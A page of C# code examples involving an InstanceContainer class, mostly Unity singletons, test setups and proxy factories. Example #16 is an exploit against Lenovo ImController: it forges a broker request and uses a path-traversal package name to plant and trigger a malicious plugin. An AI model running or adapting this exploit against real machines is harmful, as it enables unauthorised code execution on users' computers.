コード例 #1
0
        private void InitializeArguments(T obj, Type genericType)
        {
            InstanceContainer instanceContainer = this.GetGenericPropertiesOfType(obj, genericType);

            var properties = instanceContainer.PropertyInfos;
            var instance   = instanceContainer.Instance;

            foreach (var inputProperty in properties)
            {
                var genericArguments = inputProperty.PropertyType.GetGenericArguments();

                Argument argument;

                if (!this.Container.TryGet(inputProperty.Name, out argument))
                {
                    continue;
                }

                // Get value from Context
                var value = argument.GetValue();

                var instanceForGeneric = genericType.CreateInstanceForGeneric(genericArguments);

                var instanceArgument = (Argument)instanceForGeneric;

                instanceArgument.SetValue(value);

                instanceArgument.Name = inputProperty.Name;

                inputProperty.SetValue(instance, instanceForGeneric);
            }
        }
コード例 #2
0
    private static void _RegisterType(IRegisteredComponent component, Type type)
    {
        InstanceContainer instanceContainer = _GetInstanceContainer(type);

        if (!instanceContainer.Add(component))
        {
            Debug.LogError("RegisteredComponentController error: Tried to register same instance twice");
        }
    }
コード例 #3
0
ファイル: TestSetup.cs プロジェクト: tm011064/Luputa
        public virtual void Setup()
        {
            // run the testsetupscript...
            this.ConnectionString = ConfigurationManager.ConnectionStrings["WorkmateDatabase"].ConnectionString;

            using (SqlConnection connection = new SqlConnection(this.ConnectionString))
            {
                connection.Open(); // this will throw an exception if we can't connect
            }

            string path = Path.Combine(this.ApplicationPath, @"DataAccess\SqlProvider\SetupScript.sql");
            string sql  = File.ReadAllText(path);

            using (SqlConnection connection = new SqlConnection(this.ConnectionString))
            {
                connection.Open(); // this will throw an exception if we can't connect

                using (SqlCommand command = connection.CreateCommand())
                {
                    command.CommandText = sql;
                    command.CommandType = System.Data.CommandType.Text;

                    command.ExecuteNonQuery();
                }
            }

            _SqlServerDataStore   = new SqlServerDataStore(this.ConnectionString);
            this.DummyDataManager = new DummyDataManager(Path.Combine(this.ApplicationPath, @"DataAccess\DummyData.xml"));

            this.DefaultUpdateTestIterations = 10;
            this.Random = new Random();

            ApplicationSettings applicationSettings = new ApplicationSettings(
                ConfigurationManager.AppSettings
                , ConfigurationManager.ConnectionStrings);

            System.Configuration.Configuration config = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None);
            MembershipSection configSection           = (MembershipSection)config.GetSection("system.web/membership");

            IMembershipSettings membershipSettings = new MembershipSettings(
                (NameValueCollection)configSection.Providers[configSection.DefaultProvider].Parameters);

            InstanceContainer.Initialize(_SqlServerDataStore, applicationSettings, membershipSettings);

            Workmate.Components.ApplicationManager applicationManger = new Workmate.Components.ApplicationManager(this.DataStore);
            this.Application = applicationManger.GetApplication("debug_test_setup");
            if (this.Application == null)
            {
                this.Application = new Workmate.Components.Entities.Application("debug_test_setup", "Auto generated at " + DateTime.UtcNow.ToString() + " (UTC)");

                var report = applicationManger.Create(this.Application);
                if (report.Status != DataRepositoryActionStatus.Success)
                {
                    throw new ApplicationException("Unable to create debug test setup");
                }
            }
        }
コード例 #4
0
    internal static void _UnregisterType(IRegisteredComponent component, Type type)
    {
        InstanceContainer instanceContainer = _GetInstanceContainer(type);

        if (!instanceContainer.Remove(component))
        {
            Debug.LogError("RegisteredComponentController error: Tried to unregister unknown instance");
        }
    }
コード例 #5
0
 private void Awake()
 {
     if (Instance)
     {
         Destroy(gameObject);
         return;
     }
     Instance = this;
     DontDestroyOnLoad(gameObject);
 }
コード例 #6
0
        static private void _RegisterType( IRegisteredComponent component, Type type )
        {
            InstanceContainer container = _GetInstanceContainer( type );
            if ( !container.Add( component ) )
            {
                Debug.LogError( "RegisteredComponentController error: Tried to register same instance twice" );
            }

            //Debug.Log( "Registered " + type.Name + ": " + component.gameObject.name );
        }
コード例 #7
0
        static internal void _UnregisterType( IRegisteredComponent component, Type type )
        {
            InstanceContainer container = _GetInstanceContainer( type );
            if ( !container.Remove( component ) )
            {
                Debug.LogError( "RegisteredComponentController error: Tried to unregister unknown instance" );
            }

            //Debug.Log( "Unregistered " + type.Name + ": " + component.gameObject.name );
        }
コード例 #8
0
        public virtual void Setup()
        {
            IApplicationSettings applicationSettings = new ApplicationSettings(ConfigurationManager.AppSettings, ConfigurationManager.ConnectionStrings);

            var emailManager = Substitute.For <IEmailManager>();

            emailManager.PutInSendQueue(Arg.Any <int>(), Arg.Any <int>(), Arg.Any <int>()).ReturnsForAnyArgs(new List <IEmail>());
            emailManager.SetToSent(Arg.Any <int>(), Arg.Any <EmailStatus>(), Arg.Any <EmailPriority>()).Returns(DataRepositoryActionStatus.Success);

            InstanceContainer.Initialize(applicationSettings, emailManager);
        }
コード例 #9
0
    private static InstanceContainer _GetInstanceContainer(Type type)
    {
        InstanceContainer instanceContainer;

        if (_instanceContainers.TryGetValue(type, out instanceContainer))
        {
            return(instanceContainer);
        }
        instanceContainer = new InstanceContainer();
        _instanceContainers.Add(type, instanceContainer);
        return(instanceContainer);
    }
コード例 #10
0
        private static InstanceContainer _GetInstanceContainer(Type type)
        {
            InstanceContainer instanceContainer1;

            if (InstanceContainers.TryGetValue(type, out instanceContainer1))
            {
                return(instanceContainer1);
            }
            var instanceContainer2 = new InstanceContainer();

            InstanceContainers.Add(type, instanceContainer2);
            return(instanceContainer2);
        }
コード例 #11
0
        internal T Create <T>(object[] partDefinitions, object[] parameters,
                              EventInvokers eventInvokers, IEnumerable <InterceptorMap> wrapperFactories)
            where T : class
        {
            InstanceContainer <T> instanceContainer = new InstanceContainer <T>(partDefinitions, parameters, eventInvokers, wrapperFactories);
            IInterceptor          interceptor       = instanceContainer.MasterInterceptor;
            T target = typeof(T).IsInterface
        ? generator.CreateInterfaceProxyWithoutTarget <T>(interceptor)
        : generator.CreateClassProxy <T>(interceptor);

            instanceContainer.Bind(target);
            generatedEventInvokers.Add(new WeakReference(target), eventInvokers);
            return(target);
        }
コード例 #12
0
        static private InstanceContainer _GetInstanceContainer( Type type )
        {
            InstanceContainer container;

            if ( _instanceContainers.TryGetValue( type, out container ) )
            {
                return container;
            }
            else
            {
                container = new InstanceContainer();
                _instanceContainers.Add( type, container );
            }

            return container;
        }
コード例 #13
0
ファイル: InstanceContainer.cs プロジェクト: zanagi/FrankJam
    private void Awake()
    {
        if (instance)
        {
            Destroy(gameObject);
            return;
        }
        instance = this;
        DontDestroyOnLoad(gameObject);

        var singletons = FindObjectsOfType <Singleton>();

        for (int i = 0; i < singletons.Length; i++)
        {
            singletons[i].AssignInstance();
        }
    }
コード例 #14
0
        protected virtual InstanceContainer GetGenericPropertiesOfType(T instance, Type genericType)
        {
            InstanceContainer instanceContainer = GetInstanceProperties(instance);

            var acceptableProperties = new List <PropertyInfo>();
            var properties           = instanceContainer.PropertyInfos;

            foreach (var property in properties)
            {
                if (property.PropertyType.IsGenericType)
                {
                    Type propertyType = property.PropertyType.GetGenericTypeDefinition();
                    if (propertyType == genericType)
                    {
                        acceptableProperties.Add(property);
                    }
                }
            }
            return(new InstanceContainer(instanceContainer.Instance, acceptableProperties));
        }
コード例 #15
0
ファイル: NicoService.cs プロジェクト: cocop/NicoServiceAPI
 /// <summary>内部生成で使用するインスタンスコンテナを設定します</summary>
 /// <param name="InstanceContainer">設定するインスタンスコンテナ</param>
 public void SetInstanceContainer(InstanceContainer InstanceContainer)
 {
     context.InstanceContainer = InstanceContainer;
 }
コード例 #16
0
        public async void Exploit()
        {
            Console.WriteLine("[+] Preparing exploitable plugin package");
            PrepareFolders();

            Console.WriteLine("[+] Setting up requred BrokerResponseAgent");
            InstanceContainer instance = InstanceContainer.GetInstance();

            instance.RegisterInstance <IBrokerResponseAgent>(BrokerResponseAgent.GetInstance());
            instance.RegisterInstance <IPluginManager>(PluginManager.GetInstance());

            Console.WriteLine("[+] Setting up UDMF driver agent");
            _deviceAgent = DeviceDriverAgent.GetInstance();

            if (_deviceAgent == null)
            {
                Console.WriteLine("[!] Failed to get instance of UDMF driver agent, is this a Lenovo machine with ImController installed?");
                return;
            }

            BrokerRequest breq = new BrokerRequest();

            breq.Version                       = "1";
            breq.Authentication                = new BrokerAuthentication();
            breq.Authentication.Token          = "pwned";
            breq.BrokerRequirements            = new BrokerRequirements();
            breq.BrokerRequirements.MinVersion = "1";

            string contractRequestParameter = @"
                <InstallPendingRequest>
                    <PackageList>
                        <Package name=""..\..\..\LenovoAppScenarioPluginSystem""/> 
                    </PackageList>
                </InstallPendingRequest>";

            breq.ContractRequest = new ContractRequest {
                Command = new ContractCommandRequest {
                    Name        = "Install-PendingUpdates",
                    Parameter   = contractRequestParameter,
                    RequestType = "sync"
                },
                Name = "ImController"
            };

            Console.WriteLine("[+] Sending Install-PendingUpdates BrokerRequest");
            BrokerResponse br = await sendBrokerRequest(breq);

            if (br.Result != "Success")
            {
                Console.WriteLine("[!] Request for Install-PendingUpdates failed");
                return;
            }

            Console.WriteLine("[-] Waiting for plugin to install, this can take a few minutes");
            Thread.Sleep(5000);
            while (Directory.Exists(@"C:\ProgramData\Lenovo\ImController\Plugins\LenovoAppScenarioPluginSystem_"))
            {
                Thread.Sleep(1000);
            }
            Thread.Sleep(1000);

            Console.WriteLine("[+] Package delivered!");

            Console.WriteLine("[+] Making plugin request to trigger exploit");

            breq.ContractRequest = new ContractRequest {
                Command = new ContractCommandRequest {
                    Name        = "Get-TouchScreenState",
                    Parameter   = null,
                    RequestType = "sync"
                },
                Name = "SystemManagement.AppScenario.System"
            };

            br = await sendBrokerRequest(breq);

            Console.WriteLine("[+] Enjoy");
        }
コード例 #17
0
 public static TSingleton Get <TSingleton> ()
 {
     return(InstanceContainer.Get <TSingleton> ());
 }
コード例 #18
0
 public static void Bind(object singleton)
 {
     InstanceContainer.Bind(singleton);
 }
コード例 #19
0
 public static void Unbind(object singleton)
 {
     InstanceContainer.UnbindAll(singleton);
 }